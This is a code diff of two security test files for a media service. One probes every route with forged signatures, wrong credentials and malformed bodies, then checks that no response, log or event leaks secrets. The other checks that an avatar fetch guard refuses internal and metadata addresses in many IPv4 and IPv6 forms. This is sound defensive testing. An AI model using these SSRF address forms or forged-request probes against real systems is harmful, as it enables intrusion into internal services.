2));-- const clipId = Number(db.getDb().prepare("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, is_public, visibility, status) VALUES ('live', ?, 5, 'Clip', ?, 1, 'public', 'ready')").run(vodId, clipFile).lastInsertRowid);-- const mkObject = async (visibility) => {-- const bytes = Buffer.from(`hello ${visibility}`);-- let o = await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'file', mime_type: 'text/plain', size_bytes: bytes.length, visibility, filename: 'a.txt' } });-- assert.strictEqual(o.status, 201, o.text);-- const id = o.body.id;-- o = await call('PUT', o.body.upload.url.replace('https://media.test', ''), { headers: { 'content-type': 'text/plain' }, body: bytes });-- assert.strictEqual(o.status, 200, o.text);-- o = await call('POST', `/api/v2/live/objects/${id}/complete`, { headers: IDS.app, json: {} });-- assert.strictEqual(o.status, 200, o.text);-- return id;-- };-- const pubObj = await mkObject('public');-- const privObj = await mkObject('private');-- const browser = { 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36' };-- assert.strictEqual((await call('GET', `/o/${pubObj}`, { headers: browser })).status, 200, 'a view is counted (the day\'s salt is made)');-- r = await call('POST', `/api/v2/live/objects/${privObj}/holds`, { headers: IDS.app, json: { kind: 'dmca', reason: 'notice' } });-- assert.strictEqual(r.status, 201, r.text);-- const fd = new FormData();-- fd.append('file', new Blob([Buffer.from('file bytes')], { type: 'text/plain' }), 'f.txt');-- r = await call('POST', '/api/v1/live/files', { headers: IDS.app, body: fd });-- assert.strictEqual(r.status, 201, r.text);-- const fileKey = r.body.key;-- const signed = require('../server/objects/signing').signedDownloadUrl(privObj, 60).url.replace('https://media.test', '');++ // ── Requests: every answer is kept for the scan ──++ const seen = [];++ const call = async (method, p, { headers = {}, body, json, as } = {}) => {++ const h = { ...headers };++ let payload = body;++ if (json !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(json); }++ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });++ const buf = Buffer.from(await res.arrayBuffer());++ const text = buf.toString('latin1');++ seen.push({ where: `${method} ${p} [${as || Object.keys(headers).join(',') || 'anonymous'}]`, status: res.status, text, headers: [...res.headers].map(([k, v]) => `${k}: ${v}`).join('\n') });++ let parsed = null; try { parsed = JSON.parse(buf.toString('utf8')); } catch { /* not JSON */ }++ return { status: res.status, body: parsed, text };++ };-- // ── Every route in the router stack ──-- function mountPrefix(layer) {-- if (layer.regexp.fast_slash) return '';-- let i = 0;-- const p = layer.regexp.source-- .replace(/\(\?:(\\\/)?\(\[\^\\?\/\]\+\?\)\)/g, (_m, slash) => `${slash ? '/' : ''}:${layer.keys[i++].name}`)-- .replace(/^\^/, '').replace(/\\\/\?\(\?=\\\/\|\$\)$/, '').replace(/\\\//g, '/');-- assert.ok(/^[\w/:.-]*$/.test(p), `mount path read from the router stack: ${layer.regexp}`);-- return p;-- }-- const routes = [];-- (function walk(stack, prefix) {-- for (const layer of stack) {-- if (layer.route) {-- const paths = Array.isArray(layer.route.path) ? layer.route.path : [layer.route.path];-- for (const p of paths) {-- if (typeof p !== 'string') continue;-- for (const m of Object.keys(layer.route.methods)) if (m !== '_all') routes.push({ method: m.toUpperCase(), path: prefix + p });++ // ── Data to serve: a VOD carrying a stream key, a clip, objects public and private, a file, a hold ──++ let r = await call('POST', '/api/v1/live/vods', { headers: IDS.app, json: { title: 'Keyed', user_id: 5, stream_key: S('stream-key'), visibility: 'public' } });++ assert.strictEqual(r.status, 201, r.text);++ const vodId = r.body.id;++ const vodFile = path.join(process.env.VOD_PATH, `vod-${vodId}.webm`);++ fs.writeFileSync(vodFile, Buffer.alloc(64, 1));++ await db.run('UPDATE vods SET file_path = ?, duration_seconds = 10 WHERE id = ?', [vodFile, vodId]);++ r = await call('POST', `/api/v1/live/vods/${vodId}/ingest/rtmp`, { headers: IDS.app, json: { rtmp_url: `rtmp://10.0.0.5:1935/live/${S('rtmp-path-key')}` } });++ assert.ok(r.status >= 400, 'an address off the RTMP allow-list is refused');++ const clipFile = path.join(process.env.CLIPS_PATH, 'clip-a.webm');++ fs.writeFileSync(clipFile, Buffer.alloc(32, 2));++ const clipId = Number((await db.getDb().prepare("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, is_public, visibility, status) VALUES ('live', ?, 5, 'Clip', ?, 1, 'public', 'ready') RETURNING id").run(vodId, clipFile)).lastInsertRowid);++ const mkObject = async (visibility) => {++ const bytes = Buffer.from(`hello ${visibility}`);++ let o = await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'file', mime_type: 'text/plain', size_bytes: bytes.length, visibility, filename: 'a.txt' } });++ assert.strictEqual(o.status, 201, o.text);++ const id = o.body.id;++ o = await call('PUT', o.body.upload.url.replace('https://media.test', ''), { headers: { 'content-type': 'text/plain' }, body: bytes });++ assert.strictEqual(o.status, 200, o.text);++ o = await call('POST', `/api/v2/live/objects/${id}/complete`, { headers: IDS.app, json: {} });++ assert.strictEqual(o.status, 200, o.text);++ return id;++ };++ const pubObj = await mkObject('public');++ const privObj = await mkObject('private');++ const browser = { 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36' };++ assert.strictEqual((await call('GET', `/o/${pubObj}`, { headers: browser })).status, 200, 'a view is counted (the day\'s salt is made)');++ r = await call('POST', `/api/v2/live/objects/${privObj}/holds`, { headers: IDS.app, json: { kind: 'dmca', reason: 'notice' } });++ assert.strictEqual(r.status, 201, r.text);++ const fd = new FormData();++ fd.append('file', new Blob([Buffer.from('file bytes')], { type: 'text/plain' }), 'f.txt');++ r = await call('POST', '/api/v1/live/files', { headers: IDS.app, body: fd });++ assert.strictEqual(r.status, 201, r.text);++ const fileKey = r.body.key;++ const signed = require('../server/objects/signing').signedDownloadUrl(privObj, 60).url.replace('https://media.test', '');++++ // ── Every route in the router stack ──++ function mountPrefix(layer) {++ if (layer.regexp.fast_slash) return '';++ let i = 0;++ const p = layer.regexp.source++ .replace(/\(\?:(\\\/)?\(\[\^\\?\/\]\+\?\)\)/g, (_m, slash) => `${slash ? '/' : ''}:${layer.keys[i++].name}`)++ .replace(/^\^/, '').replace(/\\\/\?\(\?=\\\/\|\$\)$/, '').replace(/\\\//g, '/');++ assert.ok(/^[\w/:.-]*$/.test(p), `mount path read from the router stack: ${layer.regexp}`);++ return p;++ }++ const routes = [];++ (function walk(stack, prefix) {++ for (const layer of stack) {++ if (layer.route) {++ const paths = Array.isArray(layer.route.path) ? layer.route.path : [layer.route.path];++ for (const p of paths) {++ if (typeof p !== 'string') continue;++ for (const m of Object.keys(layer.route.methods)) if (m !== '_all') routes.push({ method: m.toUpperCase(), path: prefix + p });++ }++ } else if (layer.handle && Array.isArray(layer.handle.stack)) {++ walk(layer.handle.stack, prefix + mountPrefix(layer));}-- } else if (layer.handle && Array.isArray(layer.handle.stack)) {-- walk(layer.handle.stack, prefix + mountPrefix(layer));}++ })(app._router.stack, '');++ const uniq = [...new Map(routes.map(x => [`${x.method} ${x.path}`, x])).values()];++ for (const must of ['GET /o/:id', 'GET /api/v2/:app/objects/:id', 'GET /api/v1/:app/vods/:id', 'GET /v/:id', 'GET /api/v1/:app/admin/storage/tiers/policy', 'GET /api/v2/me/objects', 'GET /api/ready', 'GET /metrics', 'GET /release.json', 'POST /internal/avatar-ingest']) {++ assert.ok(uniq.some(x => `${x.method} ${x.path}` === must), `the router walk finds ${must}`);}-- })(app._router.stack, '');-- const uniq = [...new Map(routes.map(x => [`${x.method} ${x.path}`, x])).values()];-- for (const must of ['GET /o/:id', 'GET /api/v2/:app/objects/:id', 'GET /api/v1/:app/vods/:id', 'GET /v/:id', 'GET /api/v1/:app/admin/storage/tiers/policy', 'GET /api/v2/me/objects', 'GET /api/ready', 'GET /metrics', 'GET /release.json', 'POST /internal/avatar-ingest']) {-- assert.ok(uniq.some(x => `${x.method} ${x.path}` === must), `the router walk finds ${must}`);-- }-- assert.ok(uniq.length > 100, `the router walk finds the routes (${uniq.length})`);++ assert.ok(uniq.length > 100, `the router walk finds the routes (${uniq.length})`);-- // Params: real ids where the path names that kind of thing, so the success paths are read as well.-- const fill = (p) => p.replace(/:(\w+)/g, (_m, name, off) => {-- const before = p.slice(0, off);-- if (name === 'app') return 'live';-- if (name === 'id') {-- if (/\/(objects|o)\/$/.test(before)) return pubObj;-- if (/\/(vods|v)\/$/.test(before)) return String(vodId);-- if (/\/(clips|c)\/$/.test(before)) return String(clipId);-- return '999999';-- }-- if (name === 'key') return encodeURIComponent(fileKey);-- if (name === 'namespace') return 'live';-- if (name === 'metric') return 'vods';-- if (name === 'kind') return 'vod';-- if (name === 'sel') return '@nobody';-- return 'x';-- });-- const SLOW = /^(POST|PUT|DELETE) .*\/(tiers\/(sweep|bulk-move|move)|ops\/recompute)$/;-- for (const { method, path: p } of uniq) {-- const url = fill(p);-- if (method === 'GET') {-- for (const who of Object.keys(IDS)) await call('GET', url, { headers: IDS[who], as: who });-- await call('GET', url.replace(/(live|\d{6,}|med_\w+)/, '999999'), { headers: IDS.app }); // unknown ids and tenants-- } else if (method !== 'OPTIONS') {-- for (const who of ['anonymous', 'wrongKey', 'otherApp', 'expiredService']) await call(method, url, { headers: { ...IDS[who], 'content-type': 'application/json' }, body: '{"broken": ', as: who });-- if (!SLOW.test(`${method} ${p}`)) await call(method, url, { headers: { ...IDS.app, 'content-type': 'application/json' }, body: '{"broken": ' });++ // Params: real ids where the path names that kind of thing, so the success paths are read as well.++ const fill = (p) => p.replace(/:(\w+)/g, (_m, name, off) => {++ const before = p.slice(0, off);++ if (name === 'app') return 'live';++ if (name === 'id') {++ if (/\/(objects|o)\/$/.test(before)) return pubObj;++ if (/\/(vods|v)\/$/.test(before)) return String(vodId);++ if (/\/(clips|c)\/$/.test(before)) return String(clipId);++ return '999999';++ }++ if (name === 'key') return encodeURIComponent(fileKey);++ if (name === 'namespace') return 'live';++ if (name === 'metric') return 'vods';++ if (name === 'kind') return 'vod';++ if (name === 'sel') return '@nobody';++ return 'x';++ });++ const SLOW = /^(POST|PUT|DELETE) .*\/(tiers\/(sweep|bulk-move|move)|ops\/recompute)$/;++ for (const { method, path: p } of uniq) {++ const url = fill(p);++ if (method === 'GET') {++ for (const who of Object.keys(IDS)) await call('GET', url, { headers: IDS[who], as: who });++ await call('GET', url.replace(/(live|\d{6,}|med_\w+)/, '999999'), { headers: IDS.app }); // unknown ids and tenants++ } else if (method !== 'OPTIONS') {++ for (const who of ['anonymous', 'wrongKey', 'otherApp', 'expiredService']) await call(method, url, { headers: { ...IDS[who], 'content-type': 'application/json' }, body: '{"broken": ', as: who });++ if (!SLOW.test(`${method} ${p}`)) await call(method, url, { headers: { ...IDS.app, 'content-type': 'application/json' }, body: '{"broken": ' });++ }}-- }-- // ── Explicit error paths ──-- await call('GET', '/no/such/route');-- await call('GET', '/api/v1/live/no-such-route', { headers: IDS.app });-- await call('GET', '/api/v2/live/objects/not-an-id', { headers: IDS.app });-- await call('GET', '/api/v2/live/objects?cursor=bad', { headers: IDS.app });-- await call('GET', '/api/v1/nosuchapp/vods', { headers: IDS.app });-- await call('POST', '/api/v2/live/objects', { headers: { ...IDS.app, 'content-type': 'application/json' }, body: `{"x":"${'a'.repeat(3 * 1024 * 1024)}"}` }); // over the 2 MB JSON limit-- await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'nope', size_bytes: -1, visibility: 'weird' } });-- await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { size_bytes: 1e15 } });-- await call('PUT', `/api/v2/live/objects/${privObj}/content?token=forged`, { body: 'x' });-- await call('GET', `/o/${privObj}?exp=1&sig=forged`);-- await call('GET', `${signed}x`);-- await call('GET', signed);-- await call('GET', `/api/v2/live/objects/${privObj}/download?format=json`, { headers: IDS.app });-- await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': 'wrong' }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });-- await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': SECRET_ENV.INTERNAL_API_KEY }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });-- await call('POST', '/internal/events', { headers: { 'content-type': 'application/json', 'x-openvibe-signature': 'v2=forged' }, body: '{}' });-- await call('GET', '/auth/callback?code=forged&state=forged');-- await call('GET', '/auth/login?next=/me');-- await call('GET', '/auth/me', { headers: IDS.staff });-- await call('POST', '/auth/refresh');-- await call('OPTIONS', '/api/v1/games/files', { headers: { origin: 'https://games.test', 'access-control-request-method': 'POST' } });-- await call('POST', '/api/v1/live/files', { headers: IDS.app, body: (() => { const f = new FormData(); f.append('file', new Blob([Buffer.alloc(10)]), 'x.bin'); return f; })() });-- for (const p of ['/api/v1/live/admin/storage', '/api/v1/live/admin/storage/tiers', '/api/v1/live/admin/storage/tiers/policy', '/api/v1/live/admin/storage/tiers/objects/policy',-- '/api/v1/live/admin/storage/config', '/api/v1/live/admin/storage/buckets', '/api/v1/live/admin/storage/ops', '/api/v1/live/admin/storage/holds?all=1', '/api/v1/live/stats']) {-- r = await call('GET', p, { headers: IDS.app });-- }-- r = await call('GET', '/api/ready');-- assert.ok([200, 503].includes(r.status) && r.body && r.body.checks, 'readiness answers with its checks');-- assert.strictEqual((await call('GET', '/metrics')).status, 200, 'metrics answer loopback callers');-- assert.strictEqual((await call('GET', '/healthz')).status, 200);-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', { headers: IDS.app })).status, 200, 'the admin config reads were read');-- assert.strictEqual((await call('GET', '/api/v2/me/ops', { headers: IDS.staff })).status, 200, 'staff read the operator report');-- assert.strictEqual((await call('GET', `/api/v2/live/objects/${pubObj}`, { headers: IDS.service })).status, 200, 'the service token was accepted');-- console.log(`✅ ${uniq.length} routes from the router stack and the error paths requested (${seen.length} responses)`);++ // ── Explicit error paths ──++ await call('GET', '/no/such/route');++ await call('GET', '/api/v1/live/no-such-route', { headers: IDS.app });++ await call('GET', '/api/v2/live/objects/not-an-id', { headers: IDS.app });++ await call('GET', '/api/v2/live/objects?cursor=bad', { headers: IDS.app });++ await call('GET', '/api/v1/nosuchapp/vods', { headers: IDS.app });++ await call('POST', '/api/v2/live/objects', { headers: { ...IDS.app, 'content-type': 'application/json' }, body: `{"x":"${'a'.repeat(3 * 1024 * 1024)}"}` }); // over the 2 MB JSON limit++ await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'nope', size_bytes: -1, visibility: 'weird' } });++ await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { size_bytes: 1e15 } });++ await call('PUT', `/api/v2/live/objects/${privObj}/content?token=forged`, { body: 'x' });++ await call('GET', `/o/${privObj}?exp=1&sig=forged`);++ await call('GET', `${signed}x`);++ await call('GET', signed);++ await call('GET', `/api/v2/live/objects/${privObj}/download?format=json`, { headers: IDS.app });++ await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': 'wrong' }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });++ await call('POST', '/internal/avatar-ingest', { headers: { 'x-internal-key': SECRET_ENV.INTERNAL_API_KEY }, json: { url: 'https://127.0.0.1/a.png', user_id: 1 } });++ await call('POST', '/internal/events', { headers: { 'content-type': 'application/json', 'x-openvibe-signature': 'v2=forged' }, body: '{}' });++ await call('GET', '/auth/callback?code=forged&state=forged');++ await call('GET', '/auth/login?next=/me');++ await call('GET', '/auth/me', { headers: IDS.staff });++ await call('POST', '/auth/refresh');++ await call('OPTIONS', '/api/v1/games/files', { headers: { origin: 'https://games.test', 'access-control-request-method': 'POST' } });++ await call('POST', '/api/v1/live/files', { headers: IDS.app, body: (() => { const f = new FormData(); f.append('file', new Blob([Buffer.alloc(10)]), 'x.bin'); return f; })() });++ for (const p of ['/api/v1/live/admin/storage', '/api/v1/live/admin/storage/tiers', '/api/v1/live/admin/storage/tiers/policy', '/api/v1/live/admin/storage/tiers/objects/policy',++ '/api/v1/live/admin/storage/config', '/api/v1/live/admin/storage/buckets', '/api/v1/live/admin/storage/ops', '/api/v1/live/admin/storage/holds?all=1', '/api/v1/live/stats']) {++ r = await call('GET', p, { headers: IDS.app });++ }++ r = await call('GET', '/api/ready');++ assert.ok([200, 503].includes(r.status) && r.body && r.body.checks, 'readiness answers with its checks');++ assert.strictEqual((await call('GET', '/metrics')).status, 200, 'metrics answer loopback callers');++ assert.strictEqual((await call('GET', '/healthz')).status, 200);++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', { headers: IDS.app })).status, 200, 'the admin config reads were read');++ assert.strictEqual((await call('GET', '/api/v2/me/ops', { headers: IDS.staff })).status, 200, 'staff read the operator report');++ assert.strictEqual((await call('GET', `/api/v2/live/objects/${pubObj}`, { headers: IDS.service })).status, 200, 'the service token was accepted');++ console.log(`✅ ${uniq.length} routes from the router stack and the error paths requested (${seen.length} responses)`);-- // ── Secrets the database holds ──-- for (const row of db.all('SELECT app_id, api_key_hash FROM apps WHERE api_key_hash != \'\'')) sentinels.set(`${row.app_id} key hash`, row.api_key_hash);-- const salts = db.all('SELECT salt FROM media_object_view_salts');-- assert.ok(salts.length >= 1, 'a popularity salt exists');-- salts.forEach((s, i) => sentinels.set(`popularity salt ${i}`, String(s.salt)));++ // ── Secrets the database holds ──++ for (const row of await db.all('SELECT app_id, api_key_hash FROM apps WHERE api_key_hash != \'\'')) sentinels.set(`${row.app_id} key hash`, row.api_key_hash);++ const salts = await db.all('SELECT salt FROM media_object_view_salts');++ assert.ok(salts.length >= 1, 'a popularity salt exists');++ salts.forEach((s, i) => sentinels.set(`popularity salt ${i}`, String(s.salt)));-- // A sentinel in plain text, URL-encoded, or base64 at any alignment (a cookie, a JWT, a state blob).-- const forms = (v) => {-- const out = new Set([v, encodeURIComponent(v)]);-- for (let pad = 0; pad < 3; pad++) {-- const b = Buffer.concat([Buffer.alloc(pad, 0x20), Buffer.from(v)]).toString('base64');-- const core = b.slice(Math.ceil(pad * 4 / 3) + 1, -4);-- if (core.length >= 16) { out.add(core); out.add(core.replace(/\+/g, '-').replace(/\//g, '_')); }-- }-- return [...out];-- };-- const needles = [...sentinels].map(([name, v]) => [name, forms(v)]);-- const leaks = [];-- const scan = (where, text) => { for (const [name, fs_] of needles) if (fs_.some(f => text.includes(f))) leaks.push(`${name} in ${where}`); };-- for (const s of seen) { scan(`${s.where} body (${s.status})`, s.text); scan(`${s.where} headers`, s.headers); }-- assert.deepStrictEqual(leaks, [], 'no response carries a secret');-- console.log(`✅ no response body or header carries any of ${sentinels.size} secrets`);++ // A sentinel in plain text, URL-encoded, or base64 at any alignment (a cookie, a JWT, a state blob).++ const forms = (v) => {++ const out = new Set([v, encodeURIComponent(v)]);++ for (let pad = 0; pad < 3; pad++) {++ const b = Buffer.concat([Buffer.alloc(pad, 0x20), Buffer.from(v)]).toString('base64');++ const core = b.slice(Math.ceil(pad * 4 / 3) + 1, -4);++ if (core.length >= 16) { out.add(core); out.add(core.replace(/\+/g, '-').replace(/\//g, '_')); }++ }++ return [...out];++ };++ const needles = [...sentinels].map(([name, v]) => [name, forms(v)]);++ const leaks = [];++ const scan = (where, text) => { for (const [name, fs_] of needles) if (fs_.some(f => text.includes(f))) leaks.push(`${name} in ${where}`); };++ for (const s of seen) { scan(`${s.where} body (${s.status})`, s.text); scan(`${s.where} headers`, s.headers); }++ assert.deepStrictEqual(leaks, [], 'no response carries a secret');++ console.log(`✅ no response body or header carries any of ${sentinels.size} secrets`);-- // ── Durable events: what Media would publish ──-- const outbox = db.all('SELECT * FROM event_outbox');-- assert.ok(outbox.length >= 1, 'events were queued (the outbox is on)');-- scan('event_outbox', JSON.stringify(outbox));-- assert.deepStrictEqual(leaks, [], 'no queued event carries a secret');-- console.log(`✅ no queued event carries a secret (${outbox.length} events)`);++ // ── Durable events: what Media would publish ──++ const outbox = await db.all('SELECT * FROM event_outbox');++ assert.ok(outbox.length >= 1, 'events were queued (the outbox is on)');++ scan('event_outbox', JSON.stringify(outbox));++ assert.deepStrictEqual(leaks, [], 'no queued event carries a secret');++ console.log(`✅ no queued event carries a secret (${outbox.length} events)`);-- // ── Logs ──-- scan('the service log', logs);-- assert.deepStrictEqual(leaks, [], 'no log line carries a secret');-- console.log('✅ no log line carries a secret');++ // ── Logs ──++ scan('the service log', logs);++ assert.deepStrictEqual(leaks, [], 'no log line carries a secret');++ console.log('✅ no log line carries a secret');-- server.close();-- network.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('security-secrets: all checks passed');-- process.exit(0);++ server.close();++ network.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('security-secrets: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -18,168 +18,170 @@ const http = require('http');const dns = require('dns');const https = require('https');--const ROOT = path.join(__dirname, '..');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-ssrf-'));--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.PASTES_PATH = path.join(tmp, 'pastes');--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--delete process.env.MEDIA_RTMP_PULL_ALLOW;++(async () => {++ const ROOT = path.join(__dirname, '..');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-ssrf-'));++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.PASTES_PATH = path.join(tmp, 'pastes');++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ delete process.env.MEDIA_RTMP_PULL_ALLOW;--// ── Inventory: every outbound call in server/, and whose address it uses ──--const OUTBOUND = {-- 'server/avatars/ingest.js': 'a person\'s picture URL: safeFetchImage, tested below',-- 'server/auth.js': 'Network JWKS (OV_NETWORK_URL)',-- 'server/account-data.js': 'Network internal API (OV_NETWORK_INTERNAL_URL), fixed paths: export parts and deletion confirmations',-- 'server/user-auth.js': 'Network OAuth and JWKS (OV_NETWORK_URL / OV_NETWORK_INTERNAL_URL)',-- 'server/webhooks.js': 'an app\'s webhook_url, set by the operator (MEDIA_APPS_SEED)',-- 'server/thumbnails/live-frame-service.js': 'the app\'s internal URL (APP_INTERNAL_URLS), fixed path',-- 'server/public/dev-data.js': 'the app\'s internal URL (APP_INTERNAL_URLS), ids and encoded names in the path',-- 'server/drill.js': 'restore drill: only this server itself',-- 'server/me/client.js': 'browser script, same-origin',--};--{-- const found = new Set();-- const walk = (d) => {-- for (const e of fs.readdirSync(d, { withFileTypes: true })) {-- const p = path.join(d, e.name);-- if (e.isDirectory()) walk(p);-- else if (p.endsWith('.js') && /\bfetch\(|\bhttps?\.(get|request)\(|\b(net|tls)\.connect\(|require\(['"](axios|got|node-fetch|undici)['"]\)/.test(fs.readFileSync(p, 'utf8'))) found.add(path.relative(ROOT, p));-- }-- };-- walk(path.join(ROOT, 'server'));-- for (const f of found) assert.ok(OUTBOUND[f], `${f} makes an outbound request: classify it in test/security-ssrf.test.js (a user-chosen address must go through a guard)`);-- for (const f of Object.keys(OUTBOUND)) assert.ok(found.has(f), `${f} no longer makes an outbound request: drop it from the inventory`);-- // Webhook targets are operator configuration: the only SQL that writes an app's webhook_url is-- // db.upsertApp, and the only caller of that is app seeding (MEDIA_APPS_SEED / MEDIA_APP_KEYS).-- const sqlWriters = [], upserters = [];-- const scan = (d) => {-- for (const e of fs.readdirSync(d, { withFileTypes: true })) {-- const p = path.join(d, e.name);-- if (e.isDirectory()) { scan(p); continue; }-- if (!p.endsWith('.js')) continue;-- const src = fs.readFileSync(p, 'utf8');-- if (/(INSERT\s+(OR\s+\w+\s+)?INTO\s+apps|UPDATE\s+apps\s+SET)[^;]*webhook_url/i.test(src)) sqlWriters.push(path.relative(ROOT, p));-- if (/\bupsertApp\(/.test(src) && !p.endsWith(path.join('db', 'database.js'))) upserters.push(path.relative(ROOT, p));-- }++ // ── Inventory: every outbound call in server/, and whose address it uses ──++ const OUTBOUND = {++ 'server/avatars/ingest.js': 'a person\'s picture URL: safeFetchImage, tested below',++ 'server/auth.js': 'Network JWKS (OV_NETWORK_URL)',++ 'server/account-data.js': 'Network internal API (OV_NETWORK_INTERNAL_URL), fixed paths: export parts and deletion confirmations',++ 'server/user-auth.js': 'Network OAuth and JWKS (OV_NETWORK_URL / OV_NETWORK_INTERNAL_URL)',++ 'server/webhooks.js': 'an app\'s webhook_url, set by the operator (MEDIA_APPS_SEED)',++ 'server/thumbnails/live-frame-service.js': 'the app\'s internal URL (APP_INTERNAL_URLS), fixed path',++ 'server/public/dev-data.js': 'the app\'s internal URL (APP_INTERNAL_URLS), ids and encoded names in the path',++ 'server/drill.js': 'restore drill: only this server itself',++ 'server/me/client.js': 'browser script, same-origin',};-- scan(path.join(ROOT, 'server'));-- assert.deepStrictEqual(sqlWriters, ['server/db/database.js'], 'only db.upsertApp writes an app\'s webhook_url');-- assert.deepStrictEqual(upserters, ['server/auth.js'], 'and only app seeding calls it');-- assert.ok(/function seedApps[\s\S]*upsertApp\(/.test(fs.readFileSync(path.join(ROOT, 'server/auth.js'), 'utf8')), 'from seedApps');-- console.log(`✅ outbound inventory: ${found.size} files, one user-chosen address (avatar ingest); webhook URLs are operator-set`);--}++ {++ const found = new Set();++ const walk = (d) => {++ for (const e of fs.readdirSync(d, { withFileTypes: true })) {++ const p = path.join(d, e.name);++ if (e.isDirectory()) walk(p);++ else if (p.endsWith('.js') && /\bfetch\(|\bhttps?\.(get|request)\(|\b(net|tls)\.connect\(|require\(['"](axios|got|node-fetch|undici)['"]\)/.test(fs.readFileSync(p, 'utf8'))) found.add(path.relative(ROOT, p));++ }++ };++ walk(path.join(ROOT, 'server'));++ for (const f of found) assert.ok(OUTBOUND[f], `${f} makes an outbound request: classify it in test/security-ssrf.test.js (a user-chosen address must go through a guard)`);++ for (const f of Object.keys(OUTBOUND)) assert.ok(found.has(f), `${f} no longer makes an outbound request: drop it from the inventory`);++ // Webhook targets are operator configuration: the only SQL that writes an app's webhook_url is++ // db.upsertApp, and the only caller of that is app seeding (MEDIA_APPS_SEED / MEDIA_APP_KEYS).++ const sqlWriters = [], upserters = [];++ const scan = (d) => {++ for (const e of fs.readdirSync(d, { withFileTypes: true })) {++ const p = path.join(d, e.name);++ if (e.isDirectory()) { scan(p); continue; }++ if (!p.endsWith('.js')) continue;++ const src = fs.readFileSync(p, 'utf8');++ if (/(INSERT\s+(OR\s+\w+\s+)?INTO\s+apps|UPDATE\s+apps\s+SET)[^;]*webhook_url/i.test(src)) sqlWriters.push(path.relative(ROOT, p));++ if (/\bupsertApp\(/.test(src) && !p.endsWith(path.join('db', 'database.js'))) upserters.push(path.relative(ROOT, p));++ }++ };++ scan(path.join(ROOT, 'server'));++ assert.deepStrictEqual(sqlWriters, ['server/db/database.js'], 'only db.upsertApp writes an app\'s webhook_url');++ assert.deepStrictEqual(upserters, ['server/auth.js'], 'and only app seeding calls it');++ assert.ok(/function seedApps[\s\S]*upsertApp\(/.test(fs.readFileSync(path.join(ROOT, 'server/auth.js'), 'utf8')), 'from seedApps');++ console.log(`✅ outbound inventory: ${found.size} files, one user-chosen address (avatar ingest); webhook URLs are operator-set`);++ }--const ingest = require('../server/avatars/ingest');--const { checkRtmpUrl } = require('../server/vod/recorder');++ const ingest = require('../server/avatars/ingest');++ const { checkRtmpUrl } = require('../server/vod/recorder');--const INTERNAL_IPS = ['127.0.0.1', '127.8.9.10', '10.0.0.1', '172.16.0.1', '172.31.255.255', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '255.255.255.255', '224.0.0.1',-- '::', '::1', '0:0:0:0:0:0:0:1', '::ffff:127.0.0.1', '::ffff:7f00:1', '::ffff:10.0.0.1', '::ffff:a9fe:a9fe', '::127.0.0.1', '::7f00:1',-- 'fc00::1', 'fd12:3456::1', 'fe80::1', 'fe80::1%eth0', 'fec0::1', 'ff02::1', '64:ff9b::7f00:1', '64:ff9b::a9fe:a9fe', '2002:7f00:1::1', '2002:a9fe:a9fe::1',-- '2001:0:4136:e378:8000:63bf:80ff:fffe', '2001:db8::1'];--for (const ip of INTERNAL_IPS) assert.strictEqual(ingest.isPublicAddress(ip), false, `not public: ${ip}`);--for (const ip of ['93.184.216.34', '1.1.1.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8']) assert.strictEqual(ingest.isPublicAddress(ip), true, `public: ${ip}`);--console.log('✅ avatar address rule: loopback, RFC 1918, link-local/metadata, CGNAT, 0/8, multicast and every IPv6 form of them refused');++ const INTERNAL_IPS = ['127.0.0.1', '127.8.9.10', '10.0.0.1', '172.16.0.1', '172.31.255.255', '192.168.1.1', '169.254.169.254', '100.64.0.1', '0.0.0.0', '255.255.255.255', '224.0.0.1',++ '::', '::1', '0:0:0:0:0:0:0:1', '::ffff:127.0.0.1', '::ffff:7f00:1', '::ffff:10.0.0.1', '::ffff:a9fe:a9fe', '::127.0.0.1', '::7f00:1',++ 'fc00::1', 'fd12:3456::1', 'fe80::1', 'fe80::1%eth0', 'fec0::1', 'ff02::1', '64:ff9b::7f00:1', '64:ff9b::a9fe:a9fe', '2002:7f00:1::1', '2002:a9fe:a9fe::1',++ '2001:0:4136:e378:8000:63bf:80ff:fffe', '2001:db8::1'];++ for (const ip of INTERNAL_IPS) assert.strictEqual(ingest.isPublicAddress(ip), false, `not public: ${ip}`);++ for (const ip of ['93.184.216.34', '1.1.1.1', '172.32.0.1', '2606:4700:4700::1111', '::ffff:8.8.8.8']) assert.strictEqual(ingest.isPublicAddress(ip), true, `public: ${ip}`);++ console.log('✅ avatar address rule: loopback, RFC 1918, link-local/metadata, CGNAT, 0/8, multicast and every IPv6 form of them refused');--(async () => {-- const rejects = async (p, re, msg) => { let e = 